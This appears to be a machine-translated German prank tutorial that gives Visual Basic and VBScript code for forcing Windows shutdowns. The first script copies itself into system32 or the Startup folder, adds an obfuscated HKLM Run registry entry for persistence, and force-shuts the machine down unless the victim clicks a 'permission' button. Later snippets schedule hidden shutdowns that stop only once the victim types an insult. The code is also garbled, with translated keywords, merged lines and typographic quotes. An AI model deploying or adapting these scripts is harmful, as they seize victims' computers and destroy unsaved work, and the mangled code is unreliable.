VB-Spoof-Applet 1 zum Herunterfahren:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Setze c = fs .GetFile(WScript.ScriptFullName) str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) Dann rufen Sie Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Dokumente und Einstellungen/Alle Benutzer/Startmenü/Programme/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("Warnung: Bitte berühren Sie meinen Computer nicht! " & Chr(13) & Chr(10) & „Bestätigen -> Ich werde beim nächsten Mal zuerst um Erlaubnis bitten“ & Chr(10) & „Abbrechen -> Es ist mir egal, wie es Ihnen gefällt!“, 4145, „MsgBox-Beispiel“)If r = 1 Then if s= „Startup“ thenset f = fs.GetFile("C:/Dokumente und Einstellungen/Alle Benutzer/Start Menu/Programs/Startup/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run „Shutdown.exe -s -f -t 0“End Ifend sub
Das Obige ist etwas kompliziert, also machen wir es etwas einfacher
Der Code lautet wie folgt:
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Declare Function ExitWindowsEx Lib „user32“ (ByVal uFlags As Long,ByVal dwReserved As Long) As LongPrivate Sub Form_Load() Call ExitWindowsEx(EWX_SHUTDOWN, 0)End Sub
Wenn Sie eine einfachere Schreibweise verwenden können
Geben Sie einfach den folgenden Code ein:
Private Sub Form_Load()Shell "cmd /c Shutdown -s -t 30"Rem Das -t 0 dahinter bedeutet ein Herunterfahren in 0 Sekunden. Wenn -t 0 entfernt wird, ist der Standardwert ein Herunterfahren in 30 Sekunden
Methode drei:
Private Sub Command1_Click()If Text1 = „Ich bin ein Schwein“ ThenShell „cmd.exe /c Shutdown -a“MsgBox „Haha, lass dich gehen!“, 64, „Prompt“EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox „Haha, du Wenn Sie ausgetrickst werden, sagen Sie mir bitte, dass Sie ein Schwein sind, sonst wird Ihr Computer in 1 Minute heruntergefahren.“, 48, „Prompt“ Shell „cmd.exe /c Shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("Willst du mich schließen???", vbOKCancel + vbQuestion, "Schließe das Fenster")If g = vbOK ThenCancel = 11MsgBox "Haha, kann Sie schließen es? Lassen Sie mich fallen und nennen Sie mich ein Schwein“, 64, „Prompt“End IfIf g = 2 ThenCancel = 11End IfEnd Sub